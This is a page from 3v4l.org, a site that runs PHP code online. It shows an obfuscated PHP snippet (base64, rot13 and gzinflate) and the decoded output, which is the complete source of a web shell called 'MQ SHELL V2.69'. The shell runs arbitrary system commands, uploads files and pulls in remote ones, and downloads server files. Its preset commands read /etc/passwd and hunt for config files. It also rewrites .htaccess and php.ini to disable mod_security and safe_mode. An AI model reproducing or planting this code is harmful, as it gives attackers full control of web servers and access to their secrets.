3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php var_dump(@gzinflate(@str_rot13(@base64_decode("7Rt4ZtpV8nuq8h86s74T3PJjnFrubwyFF+OL63njgGZbe1aOGqQB5iwkrSRvVTb//bp0U08CTmOSrftl69pS6unp6e7p6dd1Hz/6bq9/HhPeW7htDYNK3ctY+OdE7cVY+PlKuDp9fdHtXPTeDOB9grcXPVDxSPf0rNuH8zfXnduL3rUhMp57aSx9D+5RwF1eKn9t/CgU8Tz0wDqZxjO3aDIV3HY9fmcSy9gVLavWnohLPZfKNeukrsE4/qRNhRv/XoTCgdESrvhiRdjSn1RDr0qrhDETMQePz1GThf7IjyMGtu/FwoubzPOl54hSBTx/7Luuf891UxQvXQHxMsApsUvEaDvCVjPhVd5xRu45RuE6FeCuyxIWU76zhEIw4vbdJPTnnka1fdcPj+GHo6OjBiQvjuM0YMbDifSOgc9wvwFw5OUY1w903Fp+nj4NFvBXuB9RLHpegdNDZbcCEfeidyRPOWHAR8jJFCc+PTz8RgPupRNCk5fPjx/VXH/iF/HzgxBvxc6zn+ivgdyHjkDAES4b+a5n4IfRdbTiFOENIFpHuSsnCLBEeyLUzErvDSsj31LpAu440pscw0I0CWyJ+Qi1+QnUYtXlWH+OyHC5EI7mSA1HoCa9sV+sw2g+n674PDw8XOMzcuDIMEMTbriF8FiaXSRLYcO+ZdlDfCxe9cUL/sxstk1REStLUZlB8SLPRdkWMoqLl2z+gv6+LItNplUJX0ttyiPpFi9dcXJ1CQV4fJ3YsUZ13D89p781ib/ygBnGMnw9f/58jyOB3FYvmMdVWrjCxl8/Q76uiOF0z559SmFqqzFu7e3KtbH3FcjCxtIVBNvgPfEwz54XQ4rmo5lRTSu854erRqD8+v4HbjXpa+p/EOEeYUiZ23R6YDwUfMXHy7+hUCyY/gdLCuw0lTX3oKPTVl2FGgoiaBXwQSiO0KsjP4AaeLKUjAkYM76oGumOjlXNrKXQepdURJOR53StwelsF65tdF3A0DnzHfFEx1pReUxrFD90gzC/k2r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g2q4xn150ZV75yV93no0nRIrHJtAXh6cqpWMtcKpLy6d6KPuL7wFotzZY3B3mzJEM5RZhdrb6CEKMAjOEtDINDnJe1Qq8sErSH6YCPxIwU+iN4e6oVlGKuT9yVZ1D7iYHYU4AEKs7i0wUN4AkYgYObCLr2JSieO1V05qrtB1ZXefESL/NoRK5ezs/NwD/mSbudIqropGMlN8a1v/uCbQjDNjX3m4whoyZNgDtVKdkSJpQhNEvXYzFmzPKtccOS3MrCwAPZuaB2SQ0SHUT1w/RF+YJnjln7xwqCKhEl9obSust6rMVqLrR1BM9sIiYnpECUvsbSfy5S0xgh9NN5PnGUZks92bdfp1wsp6Px8/Tuc9CsS494c+bG5orzRcnPa3GR7ZnN1SOgPrFcOiO9xvVWynNHTXgcczQPXS7OOT+NVuT8wouxzv5G/SDJmyjkCuQMGzAihERsZvNSXR/IIdnQzxdS3fbrpl210Pba2HxirqVMqHShvn9LTd2bX1d/NqAE4vT6DJ9IbmntRAklFeqysgNq5eEmgRYi1SNO7f2gVU2pzOjTg4glQLKCi1Oz/FM+TYSPjJCyfj01/flf7H6Z+GEzG7FWFkNLBR81Pz4mVZ+nJS/hwDQO9FvmZMSUBCK3A0eHLF6gpRUg7MH3dqemXJnrdFUZ1M/E0nHi+2v51iKU1hbgGJFBNsFMqGCGhpobme+xVpRoEFJ4ztF3BvUWuhZyupYo09DLCQbSg6a3g6UWbk0rT2ilz5cDP8PUfX20Ylk8VmPwtLCyjGCvHDW7xWg99s7ALUYvIm+ovJ1cWhWgrJy9OlMwF4mFBSgnBGgEFG0VJXDLlEfjR41R+RzNFS+g/ybKYSHP5E3KMRicRyedsBoo2W15uYEWxZTr6EwQ1R858Ivg/+b8U/gs="))));
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
string(12576) " ###################################### ###[ MQ SHELL V2.69 BY MAQIECIOUS ]### ###################################### ###[ HEADER FUNCTION ]### function kepala(){ return '<html><head> <title>'.@gettitle().'</title> <!-- Powered by Maqiecious //--> <meta name="robots" content="noindex, nofollow"> <style type="text/css" media="handheld, all"> <!-- body { background-color: #222; color: #ddd; margin: auto; font: normal normal 11px Helvetica, Arial, sans-serif; height: 100%; width: 100%; } .logo { background-color:#eee; color: #343434; border: 2px solid #bbb; margin: 2px; text-align: center; font-weight: bold; padding: 4px; } table { table-layout: fixed; } .table, .info { background-color: #343434; border: 1px solid #000; margin: 2px; padding: 2px; } .erro { background-color: #900; text-align: center; color: #ddd; border: 1px solid #000; margin: 2px; padding: 2px; } .rez { background-color: #66a3d3; color: #000; border: 1px solid #222; margin: 2px; padding: 3px; } .exist { background-color: #565656; color: #ddd; border: 1px solid #222; text-align: center; margin: 2px; padding: 3px; } .hasil { background-color: #eee; color: #343434; text-align: center; border: 1px solid #222; margin: 2px; padding: 3px; } td { background-color:#454545; color: #ddd; font: normal normal 11px Helvetica, Arial, sans-serif; border:1px solid #555; margin: 2px; text-align: center; } input, select, option { background-color:#333; color: #ddd; font: normal normal 11px Helvetica, Arial, sans-serif; border: 1px solid #222; margin: 2px; } input[type="text"], input[type="file"], select, option { width: 135px; } input[type="submit"] { width: 50px; } .return { background-color: #66a3d3; color: #000; } .return:hover { background-color: #222; color: #eee; } textarea { width: 98%; background-color: #454545; color: #ddd; font: normal normal 11px Helvetica, Arial, sans-serif; border: 1px solid #555; margin: 2px; padding: 2px; } //--></style> </head><body> <div style="margin: 2 auto; max-width: 220px;"><div class="logo">SAFE MODE '.@modez().'</div>'; } function kakiku(){ return '<div class="logo">MAQIECIOUS - DLC CYBER</div> </div></body></html>'; } ###[ HTML START ]### if(!@empty($_GET['dl'])){ @download($_GET['dl']); } if(@isset($_GET['info'])){ @phpinfo(); @die(); } print(@kepala()); print('<div class="info"><div class="rez">'.@php_uname().'</div></div>'); print(@disfunc()); ###[ DIRECTORY ]### if(!@empty($_POST['dir'])){ $dir=getpwd($_POST['dir']); if(!@chdir($dir)) $dir=getpwd($_POST['dir']); } else {$dir=getpwd(@getcwd());} if(@is_writable($dir)) $chd='Writable'; else $chd='Read-Only'; $edan=DIRECTORY_SEPARATOR; ###[ COMMANDS ]### if(@$_POST['MQC']=='Execute'){ if(@empty($_POST['cmd'])) $cmd='ls'; else $cmd=$_POST['cmd']; if(@$_POST['txt']=="txt"){ print('<div class="table" style="text-align: center;"><textarea rows="15">'); print(htmlspecialchars(@MQC($cmd))); print('</textarea></div>'); } else { print('<div class="info"> <div class="hasil" style="text-align: left; overflow: auto;">'); print(nl2br(htmlentities(@MQC($cmd),ENT_QUOTES))); print('</div></div>'); } } elseif(@$_POST['quick']=='Quick'){ $cmd=$_POST['com']; if(@$_POST['txt']=="txt"){ print('<div class="table" style="text-align: center;"><textarea rows="15">'); print(htmlspecialchars(@MQC($cmd))); print('</textarea></div>'); } else { print('<div class="info"> <div class="hasil" style="text-align: left; overflow: auto;">'); print(nl2br(htmlentities(@MQC($cmd),ENT_QUOTES))); print('</div></div>'); } } elseif(@$_POST['upload']=='Upload'){ print('<div class="info"><div class="hasil">'); $filename=$_FILES['file']['name']; $move=$dir.$filename; if(!@move_uploaded_file($_FILES['file']['tmp_name'], $move)) print('<b style="color:#bb2222">UPLOAD ERROR</b><br/>'.$_FILES['file']['tmp_name'].''); else print('<b style="color:#007800">FILE UPLOADED</b><br/>'.$move.''); print('</div></div>'); } elseif(@$_POST['import']=='Import'){ print('<div class="info"><div class="hasil">'); $com=@explode('=>',$_POST['src']); $url=@trim($com[0]); $file=@trim($com[1]); if(!@preg_match('/^(http:|https:|ftp:|ftps:|file:)/si',$_POST['src']) OR !@eregi('=>',$_POST['src']) OR @eregi('http://remotehost',$_POST['src'])){ print('<b style="color:#bb2222">IMPORT ERROR</b><br/>Syntax: http://remotehost => new_name'); } else { $cop=@array($dir,$file); $cop=@implode("",$cop); if(!@copy($url,$cop)) print('<b style="color:#bb2222">IMPORT ERROR</b><br/>Copying: '.$url.' => '.$file.''); else print('<b style="color:#007800">FILE IMPORTED</b><br/>'.$cop.''); } print('</div></div>'); } elseif(@$_POST['bypazz']=='Change'){ if(!@empty($_POST['cox'])){ print('<div class="info"><div class="hasil">'); if(@$_POST['cox']=='hta'){ $hta=$dir.".htaccess"; @unlink($hta); $buka=@fopen($hta,"w"); if($buka == true) { print('<b style="color:#007800">HTACCESS PATCHED</b><br/>'.$hta); @fwrite($buka,'<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule>'); } else { print('<b style="color:#bb2222">PATCH ERROR</b><br/>'.$hta); } @fclose($buka); } elseif(@$_POST['cox']=='php'){ $ini=$dir."php.ini"; @unlink($ini); $buka=@fopen($ini,"w"); if($buka == true) { print('<b style="color:#007800">PHP.INI PATCHED</b><br/>'.$ini); @fwrite($buka,'safe_mode=off disable_functions=none safe_mode_gid=off open_basedir=off'); } else { print('<b style="color:#bb2222">PATCH ERROR</b><br/>'.$ini); } @fclose($buka); } elseif(@$_POST['cox']=='ocx'){ $ocx=$dir.".htaccess"; @unlink($ocx); $buka=@fopen($ocx,"w"); if($buka == true) { print('<b style="color:#007800">FORCE DOWNLOAD</b><br/>'.$ocx); @fwrite($buka,'AddType application/octet-stream .php'); } else { print('<b style="color:#bb2222">FORCER ERROR</b><br/>'.$ocx); } @fclose($buka); } elseif(@$_POST['cox']=='den'){ $den=$dir.".htaccess"; @unlink($den); $buka=@fopen($den,"w"); if($buka == true) { print('<b style="color:#007800">DENY FROM ALL</b><br/>'.$den); @fwrite($buka,'deny from all'); } else { print('<b style="color:#bb2222">FORBID ERROR</b><br/>'.$den); } @fclose($buka); } elseif(@$_POST['cox']=='rem'){ print('Selamat tinggal - Kita akan kenthu lagi dilain tempat'); @unlink($_SERVER['SCRIPT_FILENAME']); } print('</div></div>'); } } ###[ FORM CMD ]### print('<div class="table"> <table border="0" cellspacing="1"> <tr><td style="text-align: left"> <form method="post" enctype="multipart/form-data"> <input type="text" name="dir" value="'.$dir.'"></td> <td style="width: 100%;"><span style="font-size: 9px;">'.$chd.'</span> </td></tr> <tr><td style="text-align: left"><input type="text" name="cmd" value="'.@stripslashes(@htmlspecialchars(@$cmd)).'"></td> <td style="width: 100%;"><input class="return" type="submit" name="MQC" value="Execute"></td></tr> <tr><td style="text-align: left; padding: 0 4px;">&raquo; Select to use text area</td> <td style="width: 100%;"><input type="checkbox" name="txt" value ="txt"'); if(@$_POST['txt']=="txt") print(" checked"); print('></td></tr> <tr><td style="text-align: left"> <select name="com"> <option disabled="disabled" selected="selected" value="ls">=== Quick Commands ===</option> <option value="cat /etc/passwd">Read etc passwd</option> <option value="/sbin/ifconfig | grep inet">List IP server</option> <option value="host -i '.@$_SERVER["HTTP_HOST"].'">Show DNS domain</option> <option value="host -i '.@gethostbyname($_SERVER["HTTP_HOST"]).'">Show DNS by host</option> <option value="ps x">List proccess</option> <option value="crontab -l">List crontab</option> <option value="find '.$dir.' -type f -name *config*.php">Find config files</option> <option value="find '.$dir.' -type d -perm -2">Find writable dir</option> <option value="uptime">Uptime server</option> <option value="netstat -an | grep -i listen">Show opened ports</option> </select></td> <td style="width: 100%;"><input class="return" type="submit" name="quick" value="Quick"></td></tr> <tr><td style="text-align: left"> <select name="cox"> <option disabled="disabled" selected="selected" value="">=== Quick Changes ===</option> <option value="hta">Patch .htaccess</option> <option value="php">Patch php.ini</option> <option value="den">Forbid directory</option> <option value="ocx">Force download</option> <option value="rem">Remove MQ shell</option> </select></td> <td style="width: 100%;"><input class="return" type="submit" name="bypazz" value="Change"></td></tr> <tr><td style="text-align: left"> <input type="file" name="file"> <td style="width: 100%;"><input class="return" type="submit" name="upload" value="Upload"></td></tr> <tr><td style="text-align: left"> <input type="text" name="src" value="http://remotehost => new_name"> <td style="width: 100%;"><input class="return" type="submit" name="import" value="Import"></td></tr> <tr><td style="text-align: left"></form> <form method="get"> <input type="text" name="dl" value="'.$dir.'"></td> <td style="width: 100%;"><input class="return" type="submit" value="Export"></form></td></tr> </table></div>'); print(@support()); print(@kakiku()); ###[ FUNCTIONZ ]### function download($me){ $name=strrchr($me,"/"); $name=str_replace("/","",$name); $name=urldecode($name); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Disposition: attachment; filename=".$name); header("Content-Type: application/force-download"); header("Content-Length: ".@filesize($me)); header("Content-Transfer-Encoding: binary"); readfile($me); exit(); } function getpwd($dir){ if($p=strrpos($dir,'/')){ if($p!=strlen($dir)-1){ $d=$dir.'/';} else{$d=$dir;} } elseif($p=strrpos($dir,'\\')){ if($p!=strlen($dir)-1){ $d=$dir.'\\';} else{$d=$dir;} } else{$d=$dir.DIRECTORY_SEPARATOR;} $d=@preg_replace("/\/+/","/",$d); $d=@preg_replace("/\\+/","\\",$d); return $d; } function support(){ $cobi=""; $coba=@MQC("which wget source lynx fetch curl lwp-download gcc c++ zip perl python mysql locate"); if($coba=="ERROR" OR $coba=="EOF") print('<div class="info"><div class="erro">ERROR</div></div>'); if(@preg_match("/\//",$coba)){ $ex=explode("\n",$coba); foreach ($ex as $x => $name){ if(!@eregi("which: no",$name)){ $name=strrchr($name,"/"); $name=str_replace("/","",$name); $name=str_replace("-download","",$name); $name=str_replace("c++","compiler",$name); $cobi .= "$name "; } } if(@is_file("/lib/ld-linux.so.2")) $cobi .= "ld-linux.so.2"; print('<div class="info"><div class="rez" style="text-align: center;">'.$cobi.'</div></div>'); } } function gettitle(){ if(@php_uname() OR @function_exists("php_uname")) $uname=@php_uname('n')." ".@php_uname('r')." ".@php_uname('v'); else $uname=@MQC("uname -nrv"); return @modez()." - ".$_SERVER['HTTP_HOST']." - $uname"; } function modez(){ if(@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode"))) return 'ON'; else return 'OFF'; } function disfunc(){ if($diz=@ini_get("disable_functions")){ $rez=str_replace(',',', ',str_replace(' ',"",$diz)); return '<div class="info"><div class="erro">'.$rez.'</div></div>'; } } function getfunc(){ $disfunc=@ini_get("disable_functions"); if(!@empty($disfunc)){ $disfunc=str_replace(" ","",$disfunc); $disfunc=explode(",",$disfunc); } else { $disfunc=array(); } return $disfunc; } function enabled($func){ if(@is_callable($func) AND !in_array($func,getfunc())) return true; else return false; } function MQC($cmd){ $hasil=""; if(enabled("popen")){ $h=@popen($cmd.' 2>&1', 'r'); if(@is_resource($h)){ while (!feof($h)){ $hasil .= fread($h, 2096); } @pclose($h); } } elseif(enabled("passthru")){ @ob_start(); passthru($cmd); $hasil=@ob_get_contents(); @ob_end_clean(); } elseif(enabled("shell_exec")){ $hasil=@shell_exec($cmd); } elseif(enabled("exec")){ @exec($cmd,$o); $hasil=join("\r\n",$o); } elseif(enabled("system")){ @ob_start(); @system($cmd); $hasil=@ob_get_contents(); @ob_end_clean(); } elseif(extension_loaded('perl')){ $hasil=@perlshell($cmd); } elseif(extension_loaded('python')){ $hasil=@python_eval("import os os.system('".$cmd."')"); } else { $hasil="ERROR"; } if($hasil=="") $hasil="EOF"; return trim($hasil); } ###################################### ###[ MQ SHELL V2.69 BY MAQIECIOUS ]### ###################################### "